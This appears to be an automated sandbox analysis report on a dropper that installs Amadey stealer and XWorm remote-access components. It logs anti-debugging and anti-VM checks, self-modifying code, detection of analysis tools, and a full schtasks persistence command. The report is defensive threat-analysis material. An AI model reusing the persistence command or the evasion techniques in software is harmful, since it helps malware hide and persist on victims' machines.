Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0A7C second address: 55F0A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0A80 second address: 55F0A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0A84 second address: 55F0A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0A8A second address: 55F0AB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F960h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3DE916F967h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0AB8 second address: 55F0B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 pushfd 0x00000006 jmp 00007F3DE9170BEBh 0x0000000b and cl, 0000000Eh 0x0000000e jmp 00007F3DE9170BF9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bh, ch 0x0000001d pushfd 0x0000001e jmp 00007F3DE9170BEFh 0x00000023 sub si, 481Eh 0x00000028 jmp 00007F3DE9170BF9h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5670755 second address: 5670769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov dx, 1612h 0x0000000e mov ebx, 217D815Eh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5670769 second address: 567076F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567076F second address: 5670795 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3DE916F969h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5670795 second address: 567079B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567079B second address: 567079F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5660865 second address: 566086B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 566086B second address: 5660871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5660871 second address: 5660875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5660875 second address: 566089A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F968h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 566089A second address: 566089E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 566089E second address: 56608A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56608A4 second address: 56608B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 453838B1h 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56608B9 second address: 56608BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CDE92C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CDEA21 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E808F4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F0CFCB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 100E92C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 100EA21 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11B08F4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 123CFCB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Special instruction interceptor: First address: 7E1A15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Special instruction interceptor: First address: 9A9F2E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Memory allocated: 720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Memory allocated: 1A490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Memory allocated: 2550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Memory allocated: 1A570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Memory allocated: 5070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Memory allocated: 5380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Memory allocated: 7380000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05660C47 rdtsc

0_2_05660C47

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 418	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Window / User API: threadDelayed 1624	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Window / User API: threadDelayed 8226	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4092	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4092	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3220	Thread sleep count: 418 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3220	Thread sleep time: -12540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1740	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1740	Thread sleep time: -90045s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3220	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe TID: 7332	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe TID: 7336	Thread sleep count: 1624 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe TID: 7336	Thread sleep count: 8226 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe TID: 7372	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe TID: 3688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmp, EJQ2xs8.exe, EJQ2xs8.exe, 0000000C.00000002.2621094889.0000000000960000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t4f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_C
Source: skotes.exe, 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:t
Source: cAvEmnl.exe, 00000007.00000002.2896719437.000000001B0B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe=%SystemRoot%\system32\mswsock.dllindingElementImporter, System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL"/>
Source: cAvEmnl.exe, 00000007.00000002.2895274897.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}E
Source: skotes.exe, 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2896207218.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1709111532.0000000000E60000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1740471339.0000000001190000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1761158882.0000000001190000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmp, EJQ2xs8.exe, 0000000C.00000002.2621094889.0000000000960000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05660C47 rdtsc

0_2_05660C47

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FD652B mov eax, dword ptr fs:[00000030h]		6_2_00FD652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FDA302 mov eax, dword ptr fs:[00000030h]		6_2_00FDA302

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe "C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe "C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "github" /tr "C:\Users\user\AppData\Roaming\github.exe"	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: GProgram Manager
Source: cAvEmnl.exe, 00000007.00000002.2895978891.0000000002540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: cAvEmnl.exe, 00000007.00000002.2895978891.0000000002540000.00000004.00000800.00020000.00000000.sdmp, EJQ2xs8.exe, EJQ2xs8.exe, 0000000C.00000002.2621094889.0000000000960000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Program Manager
Source: cAvEmnl.exe, 00000007.00000002.2895978891.0000000002540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: cAvEmnl.exe, 00000007.00000002.2895978891.0000000002540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0@
Source: cAvEmnl.exe, 00000007.00000002.2895978891.0000000002540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00FBD3E2 cpuid

6_2_00FBD3E2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010714001\cb6ddcf80e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Queries volume information: C:\Users\user\AppData\Roaming\github.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00FBCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00FBCBEA

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: cAvEmnl.exe, 00000007.00000002.2896719437.000000001B118000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s Defender\MsMpeng.exe
Source: cAvEmnl.exe, 00000007.00000002.2896719437.000000001B0B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: cAvEmnl.exe, 00000007.00000002.2896719437.000000001B118000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: amFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.c70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1718912522.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2320707751.0000000005370000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1761097528.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1740413865.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708915780.0000000000C71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1668428517.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1700108911.0000000005650000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected XWorm

Source: Yara match	File source: 12.2.EJQ2xs8.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.cAvEmnl.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.2443615567.00000000000E8000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2616843347.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2621060775.00000000007D2000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2895978891.000000000254A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2895978891.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 2640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cAvEmnl.exe PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EJQ2xs8.exe PID: 7668, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\github.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 12.2.EJQ2xs8.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.cAvEmnl.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.2443615567.00000000000E8000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2616843347.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2621060775.00000000007D2000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2895978891.000000000254A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2895978891.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 2640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cAvEmnl.exe PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EJQ2xs8.exe PID: 7668, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\github.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	11 Scheduled Task/Job	12 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
